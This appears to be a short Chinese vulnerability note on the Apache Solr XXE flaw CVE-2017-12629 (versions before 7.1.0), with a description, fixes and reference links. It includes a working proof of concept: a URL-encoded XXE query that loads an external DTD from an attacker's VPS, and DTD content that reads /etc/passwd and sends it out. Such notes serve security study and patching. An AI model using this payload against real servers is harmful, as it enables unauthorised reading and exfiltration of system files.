Apache solr XML 实体注入漏洞

描述:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

Apache solr<7.1.0 版本

利用:

可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

升级更高版本

添加Solr访问控制,包括禁止本地直接未授权访问

修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
chilavert31813 分钟前
技术演进中的开发沉思-304计算机原理:XML
xml·计算机原理
それども9 小时前
Apache POI XSSFWorkbook 和 SXSSFWorkbook 的区别
apache·excel
xifangge202519 小时前
PHP 错误日志在哪里看?Apache / Nginx / PHP-FPM 一次讲清
nginx·php·apache
潇凝子潇1 天前
Apache Kafka 跨集群复制实现方案
分布式·kafka·apache
程序猿零零漆1 天前
Spring之旅 - 记录学习 Spring 框架的过程和经验(十一)基于XML方式、注解的声明式事务控制、Spring整合Web环境
xml·学习·spring
大厂技术总监下海2 天前
数据湖加速、实时数仓、统一查询层:Apache Doris 如何成为现代数据架构的“高性能中枢”?
大数据·数据库·算法·apache
鸠摩智首席音效师2 天前
如何在 Apache 中排除特定的代理 URL 请求 ?
apache
科雷软件测试2 天前
推荐几个常用的校验yaml、json、xml、md等多种文件格式的在线网站
xml·html·md·yaml
susu10830189112 天前
maven-3.9.12的conf配置settings.xml
xml·java·maven
SeaTunnel3 天前
Apache SeaTunnel 2025 案例精选重磅发布!
大数据·开源·apache·seatunnel·案例